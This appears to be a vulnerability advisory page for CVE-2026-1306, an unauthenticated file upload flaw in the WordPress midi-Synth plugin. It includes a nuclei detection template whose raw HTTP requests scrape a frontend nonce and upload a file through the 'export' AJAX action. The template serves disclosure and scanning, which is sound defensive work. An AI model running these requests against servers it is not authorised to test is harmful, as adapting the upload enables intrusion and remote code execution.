CVE-2026-1306· wordpress / midi-synth· CWE-434
WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload
criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.
Impact
Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.
Fix
Update to the latest version of midi-Synth plugin.
How to confirm it
Send: GET / ; POST /wp-admin/admin-ajax.php ; GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt
Positive when: status_code_3 == 200 and contains(body_3, "{{randstr}}")Run it with nuclei: nuclei -id CVE-2026-1306 -u <target>
The full check
id: CVE-2026-1306
info:
name: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.
impact: |
Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.
remediation: |
Update to the latest version of midi-Synth plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/midi-synth/midi-synth-110-unauthenticated-arbitrary-file-upload-via-export-ajax-action
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-1306
epss-score: 0.04756
epss-percentile: 0.91963
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: wordpress
product: midi-synth
framework: wordpress
tags: cve,cve2026,wordpress,wp-plugin,midi-synth,file-upload,rce,intrusive
variables:
randstr: "{{rand_base_string(8)}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/
action=export&nonce={{nonce}}&fileName={{randstr}}.txt&fileMidi={{base64("{{randstr}}")}}
- |
GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
internal: true
regex:
- 'var midiSynth_nonce = "([a-z0-9]+)"'
group: 1
matchers:
- type: dsl
dsl:
- status_code_3 == 200
- contains(body_3, "{{randstr}}")
condition: andReferences
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